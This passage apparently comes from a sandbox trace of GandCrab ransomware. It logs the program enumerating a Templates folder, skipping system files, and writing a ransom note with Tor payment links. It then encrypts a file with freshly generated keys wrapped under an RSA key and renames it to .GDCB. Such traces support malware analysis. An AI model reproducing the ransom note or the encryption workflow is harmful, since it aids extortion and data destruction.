param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0054.331] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\GDCB-DECRYPT.txt") returned 86 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.331] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.332] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.332] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.332] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.332] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.332] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.332] FindNextFileW (in: hFindFile=0x5b8d30, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.332] FindClose (in: hFindFile=0x5b8d30 | out: hFindFile=0x5b8d30) returned 1 [0054.332] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.332] FindClose (in: hFindFile=0x5b8970 | out: hFindFile=0x5b8970) returned 1 [0054.332] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.332] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0054.332] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0054.332] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0054.332] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\" [0054.332] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.332] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.332] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.332] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.332] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.332] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.332] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned 58 [0054.332] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*" [0054.332] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b87f0 [0054.334] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Calendar insights.xltm", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Calendar insights.xltm", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80 [0054.334] lstrcmpW (lpString1=".xltm", lpString2=".sql") returned 1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Cashflow analysis.xltm", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Cashflow analysis.xltm", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Cashflow analysis.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned 80 [0054.334] lstrcmpW (lpString1=".xltm", lpString2=".sql") returned 1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Email Insights.xltm", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Email Insights.xltm", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77 [0054.334] lstrcmpW (lpString1=".xltm", lpString2=".sql") returned 1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="LiveContent", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="LiveContent", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned 69 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Normal.dotm", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Normal.dotm", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Normal.dotm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 69 [0054.334] lstrcmpW (lpString1=".dotm", lpString2=".sql") returned -1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94 [0054.334] lstrcmpW (lpString1=".xltx", lpString2=".sql") returned 1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.334] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2=".") returned 1 [0054.334] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="..") returned 1 [0054.334] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" [0054.334] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105 [0054.334] lstrcmpW (lpString1=".xltx", lpString2=".sql") returned 1 [0054.334] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.335] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2=".") returned 1 [0054.335] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2="..") returned 1 [0054.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" [0054.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87 [0054.335] lstrcmpW (lpString1=".xltm", lpString2=".sql") returned 1 [0054.335] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.335] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2=".") returned 1 [0054.335] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2="..") returned 1 [0054.335] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" [0054.335] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79 [0054.335] lstrcmpW (lpString1=".xltx", lpString2=".sql") returned 1 [0054.335] FindNextFileW (in: hFindFile=0x5b87f0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.335] FindClose (in: hFindFile=0x5b87f0 | out: hFindFile=0x5b87f0) returned 1 [0054.335] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.335] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\GDCB-DECRYPT.txt") returned 75 [0054.335] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.337] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.337] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.337] CloseHandle (hObject=0x4f8) returned 1 [0054.337] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.337] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\") returned 58 [0054.338] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*" [0054.338] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8870 [0054.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.338] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.338] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.338] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.338] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.338] lstrcmpW (lpString1="Calendar insights.xltm", lpString2=".") returned 1 [0054.338] lstrcmpW (lpString1="Calendar insights.xltm", lpString2="..") returned 1 [0054.338] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Calendar insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" [0054.338] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.338] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80 [0054.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80 [0054.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80 [0054.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned 80 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="desktop.ini") returned -1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="autorun.inf") returned 1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="ntuser.dat") returned -1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="iconcache.db") returned -1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="bootsect.bak") returned 1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="boot.ini") returned 1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="ntuser.dat.log") returned -1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="thumbs.db") returned -1 [0054.338] lstrcmpiW (lpString1="Calendar insights.xltm", lpString2="GDCB-DECRYPT.txt") returned -1 [0054.338] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm")) returned 0x20 [0054.339] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm", dwFileAttributes=0x20) returned 1 [0054.339] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.339] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" [0054.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB" [0054.339] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.339] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.340] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.340] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.340] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.340] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.340] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5902c0) returned 1 [0054.340] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.341] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.341] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.341] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0054.341] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.341] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.341] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.341] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.343] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8970) returned 1 [0054.343] CryptGetKeyParam (in: hKey=0x5b8970, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.343] CryptEncrypt (in: hKey=0x5b8970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.343] GetLastError () returned 0x0 [0054.343] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.343] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.345] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8c30) returned 1 [0054.345] CryptGetKeyParam (in: hKey=0x5b8c30, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.345] CryptEncrypt (in: hKey=0x5b8c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.345] GetLastError () returned 0x0 [0054.345] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.345] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.345] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.346] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xdf362, lpOverlapped=0x0) returned 1 [0054.355] VirtualAlloc (lpAddress=0x0, dwSize=0xdf370, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.361] VirtualAlloc (lpAddress=0x0, dwSize=0xdf370, flAllocationType=0x3000, flProtect=0x4) returned 0x2a90000 [0054.372] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.374] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-914274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.374] WriteFile (in: hFile=0x4fc, lpBuffer=0x2a90000*, nNumberOfBytesToWrite=0xdf370, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2a90000*, lpNumberOfBytesWritten=0x285ed30*=0xdf370, lpOverlapped=0x0) returned 1 [0054.376] VirtualFree (lpAddress=0x2a90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.378] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.381] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.382] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.382] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.382] CloseHandle (hObject=0x4fc) returned 1 [0054.391] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.391] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.391] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.391] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Calendar insights.xltm.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\calendar insights.xltm.gdcb")) returned 1 [0054.392] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.392] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.392] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.392] lstrcmpW (lpString1="Cashflow 